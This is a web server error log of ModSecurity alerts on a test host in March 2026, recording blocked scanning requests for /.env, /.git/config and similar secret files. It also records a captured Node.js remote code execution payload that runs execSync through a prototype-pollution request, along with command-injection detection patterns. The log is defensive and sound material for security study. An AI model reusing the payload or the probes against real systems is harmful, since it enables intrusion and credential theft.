[Tue Mar 10 21:45:19.391417 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abCC34XIua_918bNo_TL5QAAAAk"]
[Tue Mar 10 21:45:19.391571 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abCC34XIua_918bNo_TL5QAAAAk"]
[Tue Mar 10 23:46:02.318039 2026] [:error] [pid 2596668] [client 188.166.228.236:55940] [client 188.166.228.236] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271))',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2. [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abCfKnfj8oMZaPxvti-mBgAAAAA"]
[Tue Mar 10 23:46:02.318149 2026] [:error] [pid 2596668] [client 188.166.228.236:55940] [client 188.166.228.236] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271))',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3 [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abCfKnfj8oMZaPxvti-mBgAAAAA"]
[Tue Mar 10 23:46:02.318231 2026] [:error] [pid 2596668] [client 188.166.228.236:55940] [client 188.166.228.236] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) {timeout:5000}).tostring().trim() throw object.assign(new error(next_redirect) {digest:`${res}`}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abCfKnfj8oMZaPxvti-mBgAAAAA"]
[Tue Mar 10 23:46:02.318997 2026] [:error] [pid 2596668] [client 188.166.228.236:55940] [client 188.166.228.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abCfKnfj8oMZaPxvti-mBgAAAAA"]
[Tue Mar 10 23:46:02.319164 2026] [:error] [pid 2596668] [client 188.166.228.236:55940] [client 188.166.228.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abCfKnfj8oMZaPxvti-mBgAAAAA"]
[Tue Mar 10 23:46:02.572878 2026] [:error] [pid 2596668] [client 188.166.228.236:55940] [client 188.166.228.236] ModSecurity: Warning. Found 374 byte(s) in ARGS:0 outside range: 1-255. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "482"] [id "920270"] [msg "Invalid character in request (null character)"] [data "ARGS:0={\\x00\\x22\\x00t\\x00h\\x00e\\x00n\\x00\\x22\\x00:\\x00\\x22\\x00$\\x001\\x00:\\x00_\\x00_\\x00p\\x00r\\x00o\\x00t\\x00o\\x00_\\x00_\\x00:\\x00t\\x00h\\x00e\\x00n\\x00\\x22\\x00,\\x00\\x22\\x00s\\x00t\\x00a\\x00t\\x00u\\x00s\\x00\\x22\\x00:\\x00\\x22\\x00r\\x00e\\x00s\\x00o\\x00l\\x00v\\x00e\\x00d\\x00_\\x00m\\x00o\\x00d\\x00e\\x00l\\x00\\x22\\x00,\\x00\\x22\\x00r\\x00e\\x00a\\x00s\\x00o\\x00n\\x00\\x22\\x00:\\x00-\\x001\\x00,\\x00\\x22\\x00v\\x00a\\x00l\\x00u\\x00e\\x00\\x22\\x00:\\x00\\x22\\x00{\\x00\\x5c\\x00\\x22\\x00t\\x00h\\x00e\\x00n\\x00\\x5c\\x00\\x22\\x00:\\x00\\x5c\\x00\\x22\\x00$\\x00B\\x00..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EVASION"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abCfKnfj8oMZaPxvti-mBwAAAAA"]
[Wed Mar 11 20:46:40.625685 2026] [:error] [pid 2634213] [client 96.41.38.202:43956] [client 96.41.38.202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHGoCvA7KL3vWbRrBM5bQAAAAY"]
[Wed Mar 11 20:46:40.625900 2026] [:error] [pid 2634213] [client 96.41.38.202:43956] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHGoCvA7KL3vWbRrBM5bQAAAAY"]
[Wed Mar 11 20:46:40.626065 2026] [:error] [pid 2634213] [client 96.41.38.202:43956] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHGoCvA7KL3vWbRrBM5bQAAAAY"]
[Wed Mar 11 20:46:40.828507 2026] [:error] [pid 2634213] [client 96.41.38.202:43956] [client 96.41.38.202] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHGoCvA7KL3vWbRrBM5bgAAAAY"]
[Wed Mar 11 20:46:40.828720 2026] [:error] [pid 2634213] [client 96.41.38.202:43956] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHGoCvA7KL3vWbRrBM5bgAAAAY"]
[Wed Mar 11 20:46:40.828887 2026] [:error] [pid 2634213] [client 96.41.38.202:43956] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHGoCvA7KL3vWbRrBM5bgAAAAY"]
[Wed Mar 11 20:47:31.599136 2026] [authz_core:error] [pid 2634214] [client 164.90.208.56:50630] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Mar 11 20:47:35.514378 2026] [:error] [pid 2634210] [client 164.90.208.56:50668] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "abHG1_-pQA8QpEk0_N8YPgAAAAA"]
[Wed Mar 11 20:47:35.514545 2026] [:error] [pid 2634210] [client 164.90.208.56:50668] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "abHG1_-pQA8QpEk0_N8YPgAAAAA"]
[Wed Mar 11 20:47:35.514689 2026] [:error] [pid 2634210] [client 164.90.208.56:50668] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "abHG1_-pQA8QpEk0_N8YPgAAAAA"]
[Wed Mar 11 20:47:36.516650 2026] [:error] [pid 2634214] [client 164.90.208.56:50670] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHG2OBvFsx28IYw-q9nAwAAAAg"]
[Wed Mar 11 20:47:36.516851 2026] [:error] [pid 2634214] [client 164.90.208.56:50670] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHG2OBvFsx28IYw-q9nAwAAAAg"]
[Wed Mar 11 20:47:36.516965 2026] [:error] [pid 2634214] [client 164.90.208.56:50670] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHG2OBvFsx28IYw-q9nAwAAAAg"]
[Wed Mar 11 20:47:40.522809 2026] [:error] [pid 2634238] [client 164.90.208.56:38586] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHG3OguCP_S3uYT5SpxoQAAAAQ"]
[Wed Mar 11 20:47:40.522986 2026] [:error] [pid 2634238] [client 164.90.208.56:38586] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHG3OguCP_S3uYT5SpxoQAAAAQ"]
[Wed Mar 11 20:47:40.523124 2026] [:error] [pid 2634238] [client 164.90.208.56:38586] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHG3OguCP_S3uYT5SpxoQAAAAQ"]
[Wed Mar 11 20:47:59.525695 2026] [:error] [pid 2634239] [client 164.90.208.56:40696] [client 164.90.208.56] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/trace.axd"] [unique_id "abHG7wGa7hTYdm05K1T1sAAAAAU"]
[Wed Mar 11 20:47:59.525930 2026] [:error] [pid 2634239] [client 164.90.208.56:40696] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/trace.axd"] [unique_id "abHG7wGa7hTYdm05K1T1sAAAAAU"]
[Wed Mar 11 20:47:59.526039 2026] [:error] [pid 2634239] [client 164.90.208.56:40696] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/trace.axd"] [unique_id "abHG7wGa7hTYdm05K1T1sAAAAAU"]
[Wed Mar 11 20:55:29.381567 2026] [:error] [pid 2634238] [client 185.177.72.60:46228] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHIseguCP_S3uYT5SpxqwAAAAQ"]
[Wed Mar 11 20:55:29.381825 2026] [:error] [pid 2634238] [client 185.177.72.60:46228] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHIseguCP_S3uYT5SpxqwAAAAQ"]
[Wed Mar 11 20:55:29.381976 2026] [:error] [pid 2634238] [client 185.177.72.60:46228] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHIseguCP_S3uYT5SpxqwAAAAQ"]
[Wed Mar 11 20:55:30.948231 2026] [:error] [pid 2634323] [client 185.177.72.60:46238] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHIsqPPzlNIonXxp6eEjgAAAAw"]
[Wed Mar 11 20:55:30.948456 2026] [:error] [pid 2634323] [client 185.177.72.60:46238] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHIsqPPzlNIonXxp6eEjgAAAAw"]
[Wed Mar 11 20:55:30.948602 2026] [:error] [pid 2634323] [client 185.177.72.60:46238] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHIsqPPzlNIonXxp6eEjgAAAAw"]
[Wed Mar 11 20:56:30.181933 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHI7rVttqDN05FhB27I-gAAAAs"]
[Wed Mar 11 20:56:30.182149 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHI7rVttqDN05FhB27I-gAAAAs"]
[Wed Mar 11 20:56:30.182288 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHI7rVttqDN05FhB27I-gAAAAs"]
